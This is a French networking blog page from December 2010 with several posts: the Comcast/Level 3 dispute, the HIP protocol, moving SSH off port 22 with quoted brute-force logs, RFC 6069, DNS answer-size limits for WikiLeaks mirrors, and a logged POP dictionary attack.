Je suis Charlie

Autres trucs

Accueil

Seulement les RFC

Seulement les fiches de lecture

Ève

Ce blog n'a d'autre prétention que de me permettre de mettre à la disposition de tous des petits textes que j'écris. On y parle surtout d'informatique mais d'autres sujets apparaissent parfois.


Comcast, Level 3 et la cuisson des pommes de terre

Première rédaction de cet article le 21 décembre 2010
Dernière mise à jour le 22 décembre 2010


Il y a déjà eu beaucoup d'articles, surtout aux États-Unis, à propos du conflit qui oppose deux opérateurs Internet, Comcast et Level 3 (j'ai mis quelques références à la fin). Je n'ai pas de sources privilégiées, je ne suis pas un « blogueur influent » donc je ne vais pas pouvoir vous faire de révélations sensationnelles mais il y a quand même, deux ou trois points que je voudrais traiter. Donc, Comcast réclame à Level 3 des sous et Level 3 porte l'affaire devant le régulateur. Pourquoi ?


L'article complet

Résumé du protocole HIP

Première rédaction de cet article le 21 décembre 2010


La parution régulière de RFC sur HIP (Host Identity Protocol) me donne à penser qu'un petit résumé de ce protocole est une bonne idée (ce texte est très inspiré du chapitre 3 du RFC 6079). HIP est un protocole de séparation entre l'identificateur et le localisateur. Avant HIP, les adresses IP servaient les deux rôles à la fois : comme localisateur, elles identifient une position de la machine sur l'Internet (pas une localisation physique, bien sûr), et changent donc si la machine se déplace ou si le réseau change de FAI. Comme identificateur, elles sont utilisées par les protocoles des couches supérieures, notamment TCP pour identifier une connexion en cours et, si elles changent, la connexion est cassée. Cette dualité de rôle des adresses IP rend certains problèmes comme la mobilité, le renumérotage (cf. RFC 5887) ou le multihoming très durs à traiter.

HIP, normalisé dans le RFC 7401, résoud le problème en limitant les adresses IP au rôle de localisateur. Ainsi, un paquet HIP est un paquet IP normal et les routeurs n'ont pas besoin d'être modifiés. HIP est entièrement mis en œuvre dans la machine terminale. Les identificateurs sont, eux, des clés publiques, permettant une authentification des machines (leur nom officiel est HI, pour Host Identifier). Comme ces clés sont souvent très longues, et, pire, de taille variable, HIP introduit également un condensat cryptographique des clés, le HIT (Host Identifier Tag), qui a la taille d'une adresse IPv6 et peut donc être présenté aux couches supérieures comme TCP, sans trop les traumatiser. (Sur FreeBSD, vous trouverez le HIT de votre machine sous /etc/hip.)

Les HIT sont rangés dans un préfixe IPv6 spécial, nommé Orchid (RFC 7343), 2001:20::/28, avant d'éviter toute collision avec les adresses IPv6 « normales ».

Pour établir une connexion, HIP utilise un échange de quatre paquets (comme SCTP, alors que TCP n'en utilise que trois). Pour envoyer ces paquets, le pair à l'initiative de la connexion doit connaître le localisateur (l'adresse IP) du répondeur. Il peut la trouver dans le DNS (RFC 8005) ou bien via un serveur de rendez-vous (RFC 8004). En pair-à-pair, une DHT pourrait être un bon moyen de résoudre un identificateur en localisateur, et le RFC 6537 explore cette piste. (Sur FreeBSD, on peut même mettre HIT et adresse - identificateur et localisateur - du pair dans /etc/hosts.) HIP dispose également d'un mécanisme pour pouvoir fonctionner à travers les NAT (RFC 5770). Une fois la connexion établie, les localisateurs peuvent changer (RFC 5206), la connexion continue.

HIP dispose d'une forte sécurité : protection contre les usurpations d'identificateur par le fait que ceux-ci sont une clé cryptographique et que les messages sont signés, protections contre les DoS au moment de l'établissement de la connexion (une faiblesse traditionnelle de TCP lorsqu'il est utilisé seul). Le « certificat » que représente cette clé est auto-signé par défaut (et est donc accepté par TOFU Trust On First Use comme dans SSH) mais, si on veut avoir encore plus de sécurité, on peut tout à fait avoir un serveur central qui alloue les identificateurs et les lie à des identificateurs des applications. HIP n'a pas qu'un seul modèle de sécurité pour authentifier les pairs.

Qu'est-ce que HIP change pour les applications ? Une application traditionnelle peut tout à fait utiliser HIP (cf. RFC 5338) mais une API standard figure dans le RFC 6317 pour celles qui veulent aller plus loin.

Il existe des mises en œuvres de HIP pour FreeBSD (le développement a stoppé en 2008) et Linux mais aucun des deux ne semble proche d'une intégration dans le système officiel (pour FreeBSD, rien n'est prévu). Le projet OpenHIP adapte également des logiciels comme Wireshark pour qu'ils aient un support HIP. InfraHIP travaille également à l'infrastructure HIP et à des implémentations. Ils ont réalisé une bonne explication de HIP en une page qui concurrence sérieusement cet article. Un compte-rendu des expériencs pratiques avec HIP se trouve dans le RFC 6538.


L'article seul

Faire tourner sshd sur un autre port que 22

Première rédaction de cet article le 17 décembre 2010
Dernière mise à jour le 20 décembre 2010


La plupart des serveurs et routeurs connectés à l'Internet ont un serveur SSH qui écoute sur le port 22 pour permettre l'accès à distance et l'administration de la machine. Très souvent, des attaques automatiques sont lancées contre ces machines. Même si elles échouent, elles remplissent les journaux et déclenchent des alarmes inutiles. Je recommande personnellement de ne jamais faire tourner le serveur SSH sur le port 22.

Voici un exemple d'une attaque réelle (je n'ai pas modifié l'adresse IP source de l'attaquant car, comme d'habitude, abuse n'a jamais répondu à mon signalement). Il s'agit apparemment d'une attaque par dictionnaire classique, où l'assaillant essaie plusieurs mots de passe classiques pour des comptes courants dans les pays anglo-saxons (john, adam, kevin) :

Dec  9 05:35:10 mon-serveur sshd[28839]: Invalid user john from 173.45.74.230
Dec  9 05:35:10 mon-serveur sshd[28839]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:10 mon-serveur sshd[28839]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:11 mon-serveur sshd[28839]: Failed password for invalid user john from 173.45.74.230 port 40514 ssh2
Dec  9 05:35:12 mon-serveur sshd[28841]: Invalid user john from 173.45.74.230
Dec  9 05:35:12 mon-serveur sshd[28841]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:12 mon-serveur sshd[28841]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:14 mon-serveur sshd[28841]: Failed password for invalid user john from 173.45.74.230 port 41395 ssh2
Dec  9 05:35:16 mon-serveur sshd[28843]: Invalid user kevin from 173.45.74.230
Dec  9 05:35:16 mon-serveur sshd[28843]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:16 mon-serveur sshd[28843]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:18 mon-serveur sshd[28843]: Failed password for invalid user kevin from 173.45.74.230 port 42402 ssh2
Dec  9 05:35:19 mon-serveur sshd[28845]: Invalid user kevin from 173.45.74.230
Dec  9 05:35:19 mon-serveur sshd[28845]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:19 mon-serveur sshd[28845]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:20 mon-serveur sshd[28845]: Failed password for invalid user kevin from 173.45.74.230 port 43071 ssh2
Dec  9 05:35:21 mon-serveur sshd[28847]: Invalid user adam from 173.45.74.230
Dec  9 05:35:21 mon-serveur sshd[28847]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:21 mon-serveur sshd[28847]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:23 mon-serveur sshd[28847]: Failed password for invalid user adam from 173.45.74.230 port 43842 ssh2
Dec  9 05:35:24 mon-serveur sshd[28849]: Invalid user adam from 173.45.74.230
Dec  9 05:35:24 mon-serveur sshd[28849]: pam_unix(sshd:auth): check pass; user unknown
Dec  9 05:35:24 mon-serveur sshd[28849]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=e6.4a.2d.static.xlhost.com 
Dec  9 05:35:27 mon-serveur sshd[28849]: Failed password for invalid user adam from 173.45.74.230 port 44743 ssh2

Ici, l'attaque a apparemment échoué. Mais, même si le serveur SSH a un accès restreint (par exemple avec la directive AllowUsers de OpenSSH), c'est ennuyeux d'avoir ses journaux encombrés par de telles attaques, qui sont très courantes. Un script PHP bogué, une prise de contrôle à distance, même sans passer root et hop, tout serveur dédié n'importe où sur la planète commence un balayage systématique des serveurs et routeurs, pour le compte du craqueur masqué derrière lui.

Ma méthode préférée pour garder mes journaux courts et pour embêter un peu les pirates est de faire tourner le serveur sur un autre port. Avec OpenSSH, c'est :

Port 42666

dans le fichier de configuration. Et, là, plus d'attaques.

J'insiste bien sur le fait que le but principal est d'éviter l'encombrement des journaux. Changer de port ralentit les craqueurs mais n'est pas réellement un gros avantage en matière de sécurité (croire cela serait croire au STO). Un craqueur compétent pourrait faire un nmap sur le serveur et découvrir le port SSH par la bannière envoyée :

% telnet mon-serveur 42666
Trying 2001:db8:37a::d946:bee8:232...
Connected to mon-serveur.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.1p1 Debian-5
...

Mais, en pratique, la plupart des attaques sont bêtes et massives. Pas de subtilité, juste tester le port 22. Sur les serveurs qui écoutent sur un autre port, on ne voit jamais, à l'heure actuelle, d'attaques par dictionnaire.

Certaines personnes pensent que changer de port va leur compliquer la vie à eux aussi, en les obligeant à indiquer le numéro de port à chaque commande SSH, par exemple à taper ssh -p 42666 mon-serveur au lieu de ssh mon-serveur. Mais non ; OpenSSH permet de mettre le numéro de port une fois pour toutes dans le fichier ~/.ssh/config :

Host mon-serveur
  Port 42666

et c'est tout, il n'y aura plus rien à taper (si on travaille sur plusieurs machines, ce qui est mon cas, on peut synchroniser son répertoire). Même chose avec un client SSH comme ConnectBot sur Android, qui permet d'indiquer le numéro de port lors de l'enregistrement d'un serveur.

Et que faire si on ne contrôle pas le pare-feu et que les ports alternatifs sont bloqués ? La bonne solution est d'utiliser le port 443 (celui de HTTPS) qui est rarement bloqué. Et si on a déjà un serveur Web sur ce port ? Dans ce cas, il y a sslh.

Existe-t-il d'autres méthodes pour contrarier ce genre d'attaquants ? Oui, bien sûr, on peut restreindre l'accès à SSH par adresse IP source (voir un exemple sur Linux). Cela se fait souvent sur les routeurs, qu'on n'administre que depuis le réseau interne, mais ce n'est pas toujours possible pour les serveurs, il faut bien pouvoir se connecter à distance. Il y a aussi la possibilité de faire du « toquage à la porte » avec un logiciel comme knockd (cf. un bon article en français) ou avec une solution plus simple. Encore une autre solution est de détecter automatiquement les clients SSH qui abusent et de les filtrer. C'est ce que fait fail2ban mais je ne l'ai personnellement pas encore tenté. On peut aussi faire la même chose avec DenyHosts (qui utilise un TCP Wrapper et pas Netfilter), avec iptables et le module "recent" (attention, cette solution a des limites). Ces techniques sont toutes plus sûres que le simple changement de port mais sont également plus compliquées à mettre en œuvre.

Merci à Pascal Hambourg, Sébastien Rodriguez, Cyril Bouthors, Clochix et aux utilisateurs de Twitter dont j'ai oublié de noter le nom.

Je recommande un très bon article sur l'état des attaques SSH par force brute : « Observations from two weeks of SSH brute force attacks ». Et il faut se rappeler qu'il n'y a pas que les méchants qui balaient l'Internet sur le port 22. les chercheurs en sécurité le font aussi (et trouvent plein de machines).


L'article seul

Dynamic Languages Strike Back

Première rédaction de cet article le 17 décembre 2010


Cela ne date pas d'aujourd'hui, mais voici un excellent exposé de Steve Yegge sur la programmation : « Dynamic Languages Strike Back ». Au contraire de ces insupportables vidéos pour décideurs, ici, ce n'est que du texte et des transparents. L'auteur a tout simplement transcrit (et avec soin) l'intégralité de sa conférence !

Une passionnante et détaillée plongée dans le monde de ce qu'on appelle, faut de mieux, les « langages [de programmation] dynamiques » comme Lua, Python ou Ruby, où Yegge détaille pourquoi la plupart des défauts qu'on leur reproche traditionnellement (comme leur lenteur) ne sont plus des problèmes de nos jours ou, du moins, pourraient être résolus rapidement si on investissait plus de temps dans ces langages au lieu de s'obstiner à programmer dans les langages « statiques ».


L'article seul

RFC 6069: Making TCP more Robust to Long Connectivity Disruptions (TCP-LCD)

Date de publication du RFC : Décembre 2010
Auteur(s) du RFC : A. Zimmermann, A. Hannemann (RWTH Aachen University)
Expérimental
Réalisé dans le cadre du groupe de travail IETF tcpm
Première rédaction de cet article le 13 décembre 2010


Depuis très longtemps, un des problèmes du protocole de transport TCP est le fait qu'il réduise son débit en cas de pertes de paquets, pensant que cette perte provient d'une congestion. Mais si la perte de paquets était due à une coupure temporaire de la connectivité (ce qui est fréquent avec les liaisons radio), il est inutile de diminuer le débit, puisque le problème ne venait pas d'une congestion. TCP devrait au contraire continuer au même rythme, surtout une fois que la connectivité est rétablie. Une solution au problème pourrait être d'utiliser les messages ICMP pour mieux diagnostiquer la cause de la perte de paquets et c'est cette approche que ce RFC 6069 suggère d'essayer.

Rappelons que TCP fonctionne en envoyant des données dont l'autre pair doit accuser réception. S'il ne le fait pas à temps, TCP réemet les données et, s'il n'y a toujours rien, TCP en déduit que le réseau est surchargé (et jette donc des paquets) et, bon citoyen, il réagit en diminuant le rythme d'envoi (RFC 2988 et section 1 de notre RFC 6069). C'est ce comportement qui évite à l'Internet de s'écrouler sous la charge. Il n'est donc pas question que TCP soit modifié pour envoyer systématiquement au maximum de ses possibilités, « au cas où ça passe ». Mais, parfois, TCP est excessivement prudent. Si je débranche puis rebranche un câble réseau pendant le transfert d'un gros fichier, TCP va ralentir alors qu'il n'y avait aucune congestion (voir l'article de Schuetz, S., Eggert, L., Schmid, S., et M. Brunner, « Protocol enhancements for intermittently connected hosts », dans SIGCOMM Computer Communication Review vol. 35, no. 3). En pratique, le cas le plus embêtant se produit avec les réseaux sans-fil où de tels « branchements/débranchements » sont fréquents, soit en raison d'une modification soudaine du médium (une pluie intense, si on est dehors, ou bien un parasite soudain), soit en raison d'un déplacement de l'ordinateur. Peut-on détecter qu'une absence d'accusés de réception était due à une coupure temporaire du réseau ?

D'abord (section 2), il faut distinguer deux sortes de coupure du réseau. Les courtes sont celles qui durent moins longtemps que le délai de retransmission de TCP. Si les files d'attente du routeur situé avant la coupure sont suffisamment grandes, il pourra « tamponner » les paquets et il n'y aura même pas de perte, juste des variations de délai (cf. RFC 3522, RFC 4015 ou RFC 5682). Les longues coupures sont celles qui durent plus longtemps et où l'émetteur TCP doit donc commencer à renvoyer des paquets déjà transmis. Suivant le RFC 5681, TCP ne se contente pas de réémettre, il diminue son rythme de transmission. Si la connectivité revient, TCP ne va pas s'en apercevoir tout de suite et, même si les accusés de réception réapparaissent, TCP continuera à envoyer à un rythme réduit, sans bonne raison, juste parce qu'il a cru à la congestion. Idéalement, TCP devrait, au contraire, recommencer à pleine vitesse dès que la liaison est rétablie.

Comment détecter la coupure et le rétablissement ? La section 3 rappelle l'existence des paquets ICMP Destination Unreachable (RFC 792, RFC 1812 et RFC 4443). Ces paquets sont envoyés par le routeur, vers l'émetteur, si le routeur est obligé de jeter le paquet (codes 1, Host unreachable ou 0, Network unreachable). Mais attention, ils ne sont pas parfaits : ils ne sont pas envoyés en temps-réel (et donc arriveront peut-être après que TCP ait trouvé tout seul qu'il y a un problème) et ils sont en général limités en quantité.

Ces paquets ICMP contiennent les premiers octets du paquet qui a déclenché le problème et l'émetteur peut donc, en recevant le paquet ICMP, trouver la connexion TCP en cause. Le principe du nouvel algorithme expérimental TCP-LD (TCP Long Disruption) est donc d'utiliser ces messages ICMP pour différencier la congestion et la coupure. Dans le cas d'une coupure, cela vaudra la peine de réessayer de manière plus agressive.

L'algorithme est présenté en section 4. Le principe est simple : lorsque TCP a déjà dépassé son délai de garde, attendant un accusé de réception, et en cas de réception d'un message ICMP indiquant une coupure, TCP ne va pas augmenter les délais de retransmission. Au retour des accusés de réception, TCP reprendra « plein pot ». Les détails figurent par la suite. D'abord, TCP-LD ne s'applique qu'aux TCP qui suivaient l'algorithme de retransmission du RFC 2988. L'algorithme ne doit être utilisé qu'une fois la connexion complètement établie. Les seuls messages ICMP pris en compte sont ceux qui sont émis en réponse à des données TCP qui ont fait l'objet d'une retransmission. (Et autres détails, l'algorithme complet figure dans cette section 4.)

Une discussion des différents points à garder en tête figure en section 5. Elle insiste sur le fait que l'algorithme TCP-LD n'est déclenché que s'il y a réception des messages ICMP indiquant une erreur et expiration du délai de garde. Cela garantit que TCP-LD ne sera utilisé qu'en cas de longue coupure. Il y a quand même des cas qui prennent TCP-LD en défaut. C'est le cas par exemple de l'ambiguité analysée en section 5.1. Cette ambiguité vient du fait que le paquet TCP (et donc le message ICMP d'erreur qui concerne ce paquet) n'indique pas s'il s'agit d'une transmission ou d'une retransmission. Ce n'est pas un problème en pratique mais, si l'émetteur TCP qui reçoit le paquet ICMP peut être sûr qu'il y a eu retransmission, il n'est pas forcément sûr que le message d'erreur était en réponse à la retransmission. Encore plus rigolo (section 5.2), TCP-LD peut associer à tort un message ICMP à une session TCP ayant connu une retransmission, simplement parce que le numéro de séquence a dépassé sa valeur maximale et est revenu au début (sur des réseaux rapides, les 32 bits qui stockent le numéro de séquence TCP ne suffisent pas longtemps). La probabilité que cela arrive et interfère avec une coupure réelle est toutefois très faible. D'autres problèmes amusants (pour ceux qui connaissent bien TCP) forment la fin de la section 4, comme par exemple les risques liés aux paquets dupliqués. Un certain nombre des problèmes exposés pourraient être résolus avec l'option d'estampillage temporel de TCP (RFC 7323 et section 6 de notre RFC) : les estampilles pourraient lever certaines ambiguités.

TCP-LD est une technique « côté émetteur » seulement, et qui peut donc être déployée unilatéralement. Y a-t-il des risques à le faire ? La section 7 explore ces risques. Par exemple (section 7.1), si un émetteur TCP essaie de détecter une coupure définitive en se donnant une limite maximale au nombre de retransmissions, l'utilisation de TCP-LD, qui va réduire l'intervalle entre les retransmissions, pourra amener à des conclusions erronées. Il faut donc évaluer la durée maximale qu'on accepte avant de couper en temps, et pas en nombre de retransmissions.

Je l'ai dit au début, ce problème est perçu depuis très longtemps par les utilisateur de TCP. Il y a donc eu bien d'autres efforts pour le résoudre. La section 8 les résume. On y trouve par exemple des modifications des couches inférieures (RFC 3819) ou bien des modifications des routeurs IP, pour qu'ils analysent suffisamment de TCP pour pouvoir générer des messages d'information. TCP-LD, par contre, ne nécessite pas de modification des couches basses, ni des routeurs intermédiaires.

Un point important de ce schéma est que les messages ICMP ne sont sécurisés en rien et que d'autres RFC, comme le RFC 5927, demandent de s'en méfier et au minimum de ne pas agir sans les avoir sérieusement validés. Quels sont donc les risques (section 9) ? Un attaquant pourrait, soit générer des faux messages ICMP Destination Unreachable pour que TCP, croyant à une coupure et pas à une congestion, continue à inonder le réseau, soit au contraire empêcher les messages ICMP d'arriver, ramenant TCP à la situation avant TCP-LD. Dans le premier cas, les paquets ICMP nécessiteraient d'inclure une partie du paquet TCP, dont des éléments difficiles à deviner, comme le numéro de séquence et les mécanismes de validation du RFC 5927 conviendraient donc. Si elles échouent, l'attaquant qui arrive à trouver le numéro de séquence et les autres informations a de toute façon la possibilité de monter des attaques bien pires.

L'algorithme TCP-LD avait été présenté en 2009 à la réunion IETF 75 de Stockholm. Les transparents (« Make TCP more Robust to Long Connectivity Disruptions ») sont en ligne. Ils exposent l'algorithme et le résultat d'une évaluation après mise en œuvre sur Linux. Plein de jolis graphes. À propos de Linux, le travail des auteurs était disponible en http://www.umic-mesh.net/downloads/linux-tcp.html et a depuis été intégré (sous une forme modifiée) dans le noyau standard : regardez tcp_v4_err() dans net/ipv4/tcp_ipv4.c et les commentaires mentionnant draft-zimmermann-tcp-lcd (l'ancien nom de ce RFC 6069).


Téléchargez le RFC 6069


L'article seul

WikiLeaks DNS mirrors and the limits of the DNS

First publication of this article on 12 December 2010
Last update on of 13 December 2010


Following the big crackdown against WikiLeaks and the many attempts to censor the independent information Web site, many people, eager to do something for the freedom of information, have set up mirrors of the WikiLeaks content. Some of these mirrors do not actually store content, they are just DNS mirrors, which store the IP addresses of the actual Web sites. The goal is to allow these Web sites to be found even if many domain names are deleted, following brutal takedowns like the one performed by the US customs in another case. But these DNS mirrors must be careful to test that they work even if they go beyond the traditional limits of the DNS.

The biggest of these limits is the size: at its beginning, DNS accepted only answers of up to 512 bytes (RFC 1035, section 2.3.4). This limit was lifted ten years ago, in RFC 2671. But ten years is short in an environment as ossified as the Internet and many DNS resolvers still cannot handle properly larger answers.

Let's take as an example the DNS mirror all-wikileaks.bortzmeyer.fr. It now stores 157 IP addresses (it may change in the future since mirrors appear and disappear all the time and you have to test them often). It allows a big resilience since only one working IP address in the set is sufficient to reach WikiLeaks. The total size of the DNS answer is 2753 bytes (a bit less if you query only one IP address family, for instance only IPv4). It is much larger than the traditional limit and it is even larger than the Ethernet MTU, the most common maximum packet size today. Does it work?

It depends on the resolver. With a standard, out-of-the-box DNS resolver like BIND or Unbound, it works fine, the name can be resolved and a Web browser can visit the site. That's because these programs correctly implement the DNS as it is today. They use the EDNS0 option of RFC 2671 and have a default buffer size of 4096 bytes, which is sufficient today (the largest theoretical size now is 65536 bytes).

If you want to test by hand, with the common DNS testing tool dig, be careful that, unlike a proper resolver, it does not use EDNS0 by default. You have to indicate it on the command line:

% dig +bufsize=4096 ANY all-wikileaks.bortzmeyer.fr
...
;; Query time: 4 msec
;; SERVER: ::1#53(::1)
;; WHEN: Fri Dec 10 17:16:03 2010
;; MSG SIZE  rcvd: 2753

or to put it once for all in the ~/.digrc configuration file:

% cat ~/.digrc 
+bufsize=4096

% dig ANY all-wikileaks.bortzmeyer.fr
...
;; Query time: 4 msec
;; SERVER: ::1#53(::1)
;; WHEN: Fri Dec 10 17:17:14 2010
;; MSG SIZE  rcvd: 2753

But many ISP or local networks provide broken DNS resolvers to their users. Even if the DNS resolver is OK, it is at the mercy of a firewall or another middlebox which mangles either the DNS query (by deleting the EDNS0 option) or the answer (by being unable of transmitting the larger-than-512-bytes reply). (For details on middleboxes, see the SSAC 035 document or RFC 5625.)

Possible issues are many: for instance, if the query does not use EDNS0, the answer, too large, won't be entirely sent and the authoritative name server will set the TC bit which means "Data truncated"). The resolver is then supposed to retry over TCP and some cannot, either because they don't support TCP (a big mistake in today's Internet) or because they are blocked by a misconfigured firewall which allows DNS only on UDP.

Here is an example on the Free network (Free being the second largest ISP in France). While EDNS0 queries seem to go just fine, the resolvers do not accept TCP. When the dig testing tool queries them, it receives a truncated response, retries over TCP and is blocked:

% dig  A all-wikileaks.bortzmeyer.fr
;; Truncated, retrying in TCP mode.
;; Connection to 212.27.40.241#53(212.27.40.241) for \
           all-wikileaks.bortzmeyer.fr failed: connection refused.

Among the programs which may have problems, the PowerDNS recursor, which does not have EDNS0 by default (for the reasons explained by its author). As a result, PowerDNS Recursor always falls back to TCP, which may be a problem with some broken firewalls.

Another interesting test (thanks to Marco Davids) was done through a AVM Fritz!Box 7170 Annex A with firmware version 58.04.82. Like many cheap boxes, it has an internal DNS proxy which does not do TCP and does not accept answers >512 bytes. TCP connections are here rejected:

% dig +bufsize=4096 ANY all-wikileaks.bortzmeyer.fr @192.168.68.7
;; Truncated, retrying in TCP mode.
;; Connection to 192.168.68.7#53(192.168.68.7) for
all-wikileaks.bortzmeyer.fr failed: connection refused.

With EDNS0 on the dig side (option +bufsize), and the interdiction to fall back to TCP (option +ignore):

% dig +ignore +bufsize=4096 ANY all-wikileaks.bortzmeyer.fr @192.168.68.7
...
;; flags: qr tc rd ra; QUERY: 1, ANSWER: 23, AUTHORITY: 0, ADDITIONAL: 0
...
;; Query time: 4 msec
;; SERVER: 192.168.68.7#53(192.168.68.7)
;; WHEN: Mon Dec 13 09:35:10 2010
;; MSG SIZE  rcvd: 509

The box has stuffed as many answers it could, to stay below 512 bytes.

If you want to test yourself, I'll be happy to receive (at bortzmeyer+testdnssize@bortzmeyer.org) reports of issues but please, do not forget to indicate the resolver used (make and model), as well as existing middleboxes such as firewalls) or the network used (name of the ISP and city) if you do not control the DNS resolver yourself. Complete output of dig would be a big plus. Another big DNS mirror, to have several tests, is wklk.eu.org.

Thanks to Niall O'Reilly for his style and technical checking. All the opinions are mine.


L'article seul

Attaque dictionnaire via POP

Première rédaction de cet article le 11 décembre 2010


Tout serveur réseau connecté à l'Internet voit passer en permanence des attaques, qui se traduisent entre autres par des lignes et des lignes dans le journal. La grande majorité de ces attaques (sauf si on abrite un service spécifiquement visé, comme WikiLeaks) sont aveugles au sens où le méchant ne cherchait pas spécialement à attaquer ce serveur, il a juste écrit un ver qui attaque un peu au hasard toutes les adresses IP qu'il peut trouver. Je viens de m'apercevoir que le vénérable protocole POP, décrit dans le RFC 1939, connaissait aussi ce genre d'attaques.

Voici l'extrait du journal concernant un cas parmi d'autres. L'heure est en UTC + 1. J'ai laissé la vraie adresse IP de l'attaquant car j'ai prévenu le contact indiqué dans la base du RIPE et ledit contact n'a évidemment jamais répondu. Je vois très souvent des attaques de ver sur SSH ou sur HTTP. Avec le protocole POP, conçu pour le relevé de boîtes aux lettres à distance, c'est plus rare, mais il est vrai qu'il y a moins de serveurs POP accessibles que de serveurs HTTP donc les vers se concentrent sur un plus petit nombre d'objectifs.

Dec  8 13:22:51 mon-serveur pop3d: LOGIN FAILED, user=tokend, ip=[::ffff:94.102.55.80]
Dec  8 13:22:56 mon-serveur pop3d: LOGIN FAILED, user=windowserver, ip=[::ffff:94.102.55.80]
Dec  8 13:23:01 mon-serveur pop3d: LOGIN FAILED, user=appowner, ip=[::ffff:94.102.55.80]
Dec  8 13:23:06 mon-serveur pop3d: LOGIN FAILED, user=xgridagent, ip=[::ffff:94.102.55.80]
Dec  8 13:23:11 mon-serveur pop3d: LOGIN FAILED, user=agent, ip=[::ffff:94.102.55.80]
Dec  8 13:23:16 mon-serveur pop3d: LOGIN FAILED, user=xgridcontroller, ip=[::ffff:94.102.55.80]
Dec  8 13:23:21 mon-serveur pop3d: LOGIN FAILED, user=jabber, ip=[::ffff:94.102.55.80]
Dec  8 13:23:26 mon-serveur pop3d: LOGIN FAILED, user=amavisd, ip=[::ffff:94.102.55.80]
Dec  8 13:23:31 mon-serveur pop3d: LOGIN FAILED, user=clamav, ip=[::ffff:94.102.55.80]
Dec  8 13:23:37 mon-serveur pop3d: LOGIN FAILED, user=appserver, ip=[::ffff:94.102.55.80]
Dec  8 13:23:42 mon-serveur pop3d: LOGIN FAILED, user=mailman, ip=[::ffff:94.102.55.80]
Dec  8 13:23:47 mon-serveur pop3d: LOGIN FAILED, user=cyrusimap, ip=[::ffff:94.102.55.80]
Dec  8 13:23:52 mon-serveur pop3d: LOGIN FAILED, user=qtss, ip=[::ffff:94.102.55.80]
Dec  8 13:23:57 mon-serveur pop3d: LOGIN FAILED, user=eppc, ip=[::ffff:94.102.55.80]
Dec  8 13:24:02 mon-serveur pop3d: LOGIN FAILED, user=telnetd, ip=[::ffff:94.102.55.80]
Dec  8 13:24:07 mon-serveur pop3d: LOGIN FAILED, user=identd, ip=[::ffff:94.102.55.80]
Dec  8 13:24:14 mon-serveur pop3d: LOGIN FAILED, user=gnats, ip=[::ffff:94.102.55.80]
Dec  8 13:24:19 mon-serveur pop3d: LOGIN FAILED, user=jeff, ip=[::ffff:94.102.55.80]
Dec  8 13:24:26 mon-serveur pop3d: LOGIN FAILED, user=irc, ip=[::ffff:94.102.55.80]
Dec  8 13:24:34 mon-serveur pop3d: LOGIN FAILED, user=list, ip=[::ffff:94.102.55.80]
Dec  8 13:24:39 mon-serveur pop3d: LOGIN FAILED, user=eleve, ip=[::ffff:94.102.55.80]
Dec  8 13:24:46 mon-serveur pop3d: LOGIN FAILED, user=proxy, ip=[::ffff:94.102.55.80]
Dec  8 13:24:53 mon-serveur pop3d: LOGIN FAILED, user=sys, ip=[::ffff:94.102.55.80]
Dec  8 13:24:58 mon-serveur pop3d: LOGIN FAILED, user=zzz, ip=[::ffff:94.102.55.80]
Dec  8 13:25:03 mon-serveur pop3d: LOGIN FAILED, user=frank, ip=[::ffff:94.102.55.80]
Dec  8 13:25:08 mon-serveur pop3d: LOGIN FAILED, user=dan, ip=[::ffff:94.102.55.80]
Dec  8 13:25:13 mon-serveur pop3d: LOGIN FAILED, user=james, ip=[::ffff:94.102.55.80]
Dec  8 13:25:18 mon-serveur pop3d: LOGIN FAILED, user=snort, ip=[::ffff:94.102.55.80]
Dec  8 13:25:23 mon-serveur pop3d: LOGIN FAILED, user=radiomail, ip=[::ffff:94.102.55.80]
Dec  8 13:25:28 mon-serveur pop3d: LOGIN FAILED, user=harrypotter, ip=[::ffff:94.102.55.80]
Dec  8 13:25:33 mon-serveur pop3d: LOGIN FAILED, user=divine, ip=[::ffff:94.102.55.80]
Dec  8 13:25:39 mon-serveur pop3d: LOGIN FAILED, user=popa3d, ip=[::ffff:94.102.55.80]
Dec  8 13:25:44 mon-serveur pop3d: LOGIN FAILED, user=aptproxy, ip=[::ffff:94.102.55.80]
Dec  8 13:25:49 mon-serveur pop3d: LOGIN FAILED, user=desktop, ip=[::ffff:94.102.55.80]
Dec  8 13:25:54 mon-serveur pop3d: LOGIN FAILED, user=workshop, ip=[::ffff:94.102.55.80]
Dec  8 13:25:59 mon-serveur pop3d: LOGIN FAILED, user=mailnull, ip=[::ffff:94.102.55.80]
Dec  8 13:26:04 mon-serveur pop3d: LOGIN FAILED, user=nfsnobody, ip=[::ffff:94.102.55.80]
Dec  8 13:26:09 mon-serveur pop3d: LOGIN FAILED, user=rpcuser, ip=[::ffff:94.102.55.80]
Dec  8 13:26:14 mon-serveur pop3d: LOGIN FAILED, user=rpc, ip=[::ffff:94.102.55.80]
Dec  8 13:26:19 mon-serveur pop3d: LOGIN FAILED, user=gopher, ip=[::ffff:94.102.55.80]

